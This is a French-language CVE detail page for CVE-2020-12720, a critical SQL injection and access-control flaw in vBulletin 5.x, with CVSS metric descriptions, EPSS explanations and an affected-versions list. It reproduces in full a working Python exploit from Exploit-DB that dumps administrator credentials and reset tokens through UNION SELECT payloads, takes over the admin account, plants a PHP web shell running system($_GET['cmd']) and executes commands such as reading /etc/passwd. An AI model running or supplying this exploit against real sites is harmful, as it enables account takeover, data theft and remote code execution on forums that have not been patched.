CVE-2020-12720 : Détail

CVE-2020-12720

9.8
/
Critique
Authorization problemsSQL Injection
A07-Identif. and Authent. FailA03-Injection
94.13%V3
Network
2020-05-07
21h52 +00:00
2020-07-27
18h36 +00:00
CVE.org
NVD
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Descriptions du CVE

vBulletin before 5.5.6pl1, 5.6.0 before 5.6.0pl1, and 5.6.1 before 5.6.1pl1 has incorrect access control.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-306 Missing Authentication for Critical Function
The product does not perform any authentication for functionality that requires a provable user identity or consumes a significant amount of resources.
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 9.8 CRITICAL CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Network

The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

None

The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 [email protected]
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P [email protected]

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 48472

Date de publication : 2020-05-14 22h00 +00:00
Auteur : Photubias
EDB Vérifié : No

# Exploit Title: vBulletin 5.6.1 - 'nodeId' SQL Injection # Date: 2020-05-15 # Exploit Author: Photubias # Vendor Advisory: [1] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4440032-vbulletin-5-6-1-security-patch-level-1 # Version: vBulletin v5.6.x (prior to Patch Level 1) # Tested on: vBulletin v5.6.1 on Debian 10 x64 # CVE: CVE-2020-12720 vBulletin v5.6.1 (SQLi) with path to RCE #!/usr/bin/env python3 ''' Copyright 2020 Photubias(c) This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see <http://www.gnu.org/licenses/>. File name CVE-2020-12720.py written by tijl[dot]deneut[at]howest[dot]be for www.ic4.be This is a native implementation without requirements, written in Python 3. Works equally well on Windows as Linux (as MacOS, probably ;-) ##-->> Full creds to @zenofex and @rekter0 <<--## ''' import urllib.request, urllib.parse, sys, http.cookiejar, ssl, random, string ## Static vars; change at will, but recommend leaving as is sADMINPASS = '12345678' sCMD = 'id' sURL = 'http://192.168.50.130/' sUSERID = '1' sNEWPASS = '87654321' iTimeout = 5 ## Ignore unsigned certs ssl._create_default_https_context = ssl._create_unverified_context ## Keep track of cookies between requests cj = http.cookiejar.CookieJar() oOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj)) def randomString(stringLength=8): letters = string.ascii_lowercase return ''.join(random.choice(letters) for i in range(stringLength)) def getData(sUrl, lData): try: oData = urllib.parse.urlencode(lData).encode() oRequest = urllib.request.Request(url = sUrl, data = oData) return oOpener.open(oRequest, timeout = iTimeout) except: print('----- ERROR, site down?') sys.exit(1) def verifyBug(sURL,sUserid='1'): sPath = 'ajax/api/content_infraction/getIndexableContent' lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,"cve-2020-12720",8,7,6,5,4,3,2,1;--'} sResponse = getData(sURL + sPath, lData).read().decode() if not 'cve-2020-12720' in sResponse: print('[!] Warning: not vulnerable to CVE-2020-12720, credentials are needed!') return False else: print('[+] SQLi Success!') return True def takeoverAccount(sURL, sNEWPASS): sPath = 'ajax/api/content_infraction/getIndexableContent' ### Source: https://github.com/rekter0/exploits/tree/master/CVE-2020-12720 ## Get Table Prefixes lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,table_name,8,7,6,5,4,3,2,1 from information_schema.columns WHERE column_name=\'phrasegroup_cppermission\';--'} sResponse = getData(sURL + sPath, lData).read().decode() if 'rawtext' in sResponse: sPrefix = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').replace('language','') else: sPrefix = '' #print('[+] Got table prefix "'+sPrefix+'"') ## Get usergroup ID for "Administrators" lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,usergroupid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'usergroup WHERE title=\'Administrators\';--'} sResponse = getData(sURL + sPath, lData).read().decode() sGroupID = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','') #print('[+] Administrators Group ID: '+sGroupID) ## Get admin data, including original token (password hash), TODO: an advanced exploit could restore the original hash in post exploitation lData = {'nodeId[nodeid]' : '1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,concat(username,0x7c,userid,0x7c,email,0x7c,token),8,7,6,5,4,3,2,1 from ' + sPrefix + 'user where usergroupid=' + sGroupID + ';--'} sResponse = getData(sURL + sPath, lData).read().decode() sUsername,sUserid,sUsermail,sUserTokenOrg = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','').split('|') #print('[+] Got original token (' + sUsername + ', ' + sUsermail + '): ' + sUserTokenOrg) ## Let's create a Human Verify Captcha sPath = 'ajax/api/hv/generateToken?' lData = {'securitytoken':'guest'} sResponse = getData(sURL + sPath, lData).read().decode() if 'hash' in sResponse: sHash = sResponse.split('hash')[1].split(':')[1].replace('}','').replace('"','') else: sHash = '' ## Get the captcha answer from DB sPath = 'ajax/api/content_infraction/getIndexableContent' lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,count(answer),8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit 0,1--'} sResponse = getData(sURL + sPath, lData).read().decode() if 'rawtext' in sResponse: iAnswers = int(sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','')) else: iAnswers = 1 lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,answer,8,7,6,5,4,3,2,1 from ' + sPrefix + 'humanverify limit ' + str(iAnswers-1) + ',1--'} sResponse = getData(sURL + sPath, lData).read().decode() if 'rawtext' in sResponse: sAnswer = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','') else: sAnswer = '' ## Now request PW reset and retrieve the token sPath = 'auth/lostpw' lData = {'email':sUsermail,'humanverify[input]':sAnswer,'humanverify[hash]':sHash,'securitytoken':'guest'} sResponse = getData(sURL + sPath, lData).read().decode() sPath = 'ajax/api/content_infraction/getIndexableContent' lData = {'nodeId[nodeid]':'1 UNION SELECT 26,25,24,23,22,21,20,19,20,17,16,15,14,13,12,11,10,activationid,8,7,6,5,4,3,2,1 from ' + sPrefix + 'useractivation WHERE userid=' + sUserid + ' limit 0,1--'} sResponse = getData(sURL + sPath, lData).read().decode() if 'rawtext' in sResponse: sToken = sResponse.split('rawtext')[1].split(':')[1].replace('}','').replace('"','') else: sToken = '' ## Finally the password reset itself sPath = 'auth/reset-password' lData = {'userid':sUserid,'activationid':sToken,'new-password':sNEWPASS,'new-password-confirm':sNEWPASS,'securitytoken':'guest'} sResponse = getData(sURL + sPath, lData).read().decode() if not 'Logging in' in sResponse: print('[-] Failed to reset the password') return '' else: print('[+] Success! User ' + sUsername + ' now has password ' + sNEWPASS) return sUserid def createBackdoor(sURL, sADMINPASS, sUserid='1'): ## Activating Sitebuilder sPath = 'ajax/activate-sitebuilder' lData = {'pageid':'1', 'nodeid':'0','userid':'1','loadMenu':'false', 'isAjaxTemplateRender':'true', 'isAjaxTemplateRenderWithData':'true','securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'} oResponse = getData(sURL + sPath, lData) if not oResponse.code == 200: print('[-] Error activating sitebuilder') sys.exit(1) ## Confirming the password, getting new securitytoken sPath = 'auth/ajax-login' lData = {'logintype':'cplogin','userid':sUserid,'password':sADMINPASS,'securitytoken':'1589477194-0e3085507fb50fc1631610a28e045c5fa71a2a12'} oResponse = getData(sURL + sPath, lData) sResponse = oResponse.read().decode() if 'lostpw' in sResponse: print('[-] Error: authentication for userid ' + sUserid + ' failed') sys.exit(1) sToken = sResponse.split(',')[1].split(':')[1].replace('"','').replace('}','') print('[+] Got token: '+sToken) ## cpsession is needed, use this for extra verification #for cookie in cj: print(cookie.name, cookie.value, cookie.domain) #etc etc ## First see if our backdoor does not already exists sPath = 'ajax/render/admin_sbpanel_pagelist_content_wrapper' lData = {'isAjaxTemplateRenderWithData':'true','securitytoken':sToken} oResponse = getData(sURL + sPath, lData) sResponse = oResponse.read().decode() if 'cve-2020-12720' in sResponse: sPageName = 'cve-2020-12720-' + sResponse.split('/cve-2020-12720-')[1].split(')')[0] print('[+] This machine was already pwned, using "' + sPageName + '" for your command') return sPageName ## Create a new empty page sPath = 'ajax/api/widget/saveNewWidgetInstance' lData = {'containerinstanceid':'0','widgetid':'23','pagetemplateid':'','securitytoken':sToken} oResponse = getData(sURL + sPath, lData) sResponse = oResponse.read().decode() sWidgetInstanceID = sResponse.split(',')[0].split(':')[1].replace('}','') sPageTemplateID = sResponse.split(',')[1].split(':')[1].replace('}','') print('[+] Got WidgetInstanceID: '+sWidgetInstanceID+' and PageTemplateID: '+sPageTemplateID) ## Now submitting the page content sPageName = 'cve-2020-12720-'+randomString() sPath = 'ajax/api/widget/saveAdminConfig' lData = {'widgetid':'23', 'pagetemplateid':sPageTemplateID, 'widgetinstanceid':sWidgetInstanceID, 'data[widget_type]':'', 'data[title]':sPageName, 'data[show_at_breakpoints][desktop]':'1', 'data[show_at_breakpoints][small]':'1', 'data[show_at_breakpoints][xsmall]':'1', 'data[hide_title]':'0', 'data[module_viewpermissions][key]':'show_all', 'data[code]':"echo('###SHELLRESULT###');system($_GET['cmd']);echo('###SHELLRESULT###');", 'securitytoken':sToken} oResponse = getData(sURL + sPath, lData) if not oResponse.code == 200: print('[!] Error submitting page content for ' + sPageName) ## Finally saving the new page sPath = 'admin/savepage' lData = {'input[ishomeroute]':'0', 'input[pageid]':'0', 'input[nodeid]':'0', 'input[userid]':'1', 'input[screenlayoutid]':'2', 'input[templatetitle]':sPageName, 'input[displaysections[0]]':'[{"widgetId":"23","widgetInstanceId":"' + sWidgetInstanceID + '"}]', 'input[displaysections[1]]':'[]', 'input[displaysections[2]]':'[]', 'input[displaysections[3]]':'[]', 'input[pagetitle]':sPageName, 'input[resturl]':sPageName, 'input[metadescription]':'Photubias+Shell', 'input[pagetemplateid]':sPageTemplateID, 'url':sURL, 'securitytoken':sToken} oResponse = getData(sURL + sPath, lData) if not oResponse.code == 200: print('[!] Error saving page content for ' + sPageName) return sPageName def main(): if len(sys.argv) == 1: print('[!] No arguments found: python3 CVE-2020-12720.py <URL> <CMD>') print(' Example: ./CVE-2020-12720.py http://192.168.50.130/ "cat /etc/passwd"') print(' But for now, ask questions then') sURL = input('[?] Please enter the address and path to vBulletin ([http://192.168.50.130/): ') if sURL == '': sURL = 'http://192.168.50.130' else: sURL = sys.argv[1] sCMD = sys.argv[2] if not sURL[:-1] == '/': sURL += '/' if not sURL[:4].lower() == 'http': sURL = 'http://' + sURL print('[+] Welcome, first verifying the SQLi vulnerability') if verifyBug(sURL): print("----\n" + '[+] Attempting automatic admin account takeover') sUSERID = takeoverAccount(sURL, sNEWPASS) sADMINPASS = sNEWPASS if sUSERID == '': sUSERID = '1' sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ') else: sADMINPASS = input('[?] Please enter the admin password (userid ' + sUSERID + '): ') print("----\n"+'[+] So far so good, attempting the creation of the backdoor') sPageName = createBackdoor(sURL, sADMINPASS, sUSERID) if len(sys.argv) == 1: sCMD = input('[?] Please enter the command to run [id]: ') if sCMD == '': sCMD = 'id' sCmd = urllib.parse.quote(sCMD) sPath = sPageName + "?cmd=" + sCmd print('[+] Opening '+sURL + sPath) try: oRequest = urllib.request.Request(url = sURL + sPath) oResponse = oOpener.open(oRequest, timeout = iTimeout) print('#######################') sResponse = oResponse.read().decode() print('[+] Command result:') print(sResponse.split('###SHELLRESULT###')[1]) except: print('[-] Something went wrong, bad command?') sys.exit(1) if __name__ == "__main__": main()

Products Mentioned

Configuraton 0

Vbulletin>>Vbulletin >> Version From (including) 5.0.0 To (excluding) 5.5.6

Vbulletin>>Vbulletin >> Version 5.5.6

Vbulletin>>Vbulletin >> Version 5.6.0

Vbulletin>>Vbulletin >> Version 5.6.1.-

Références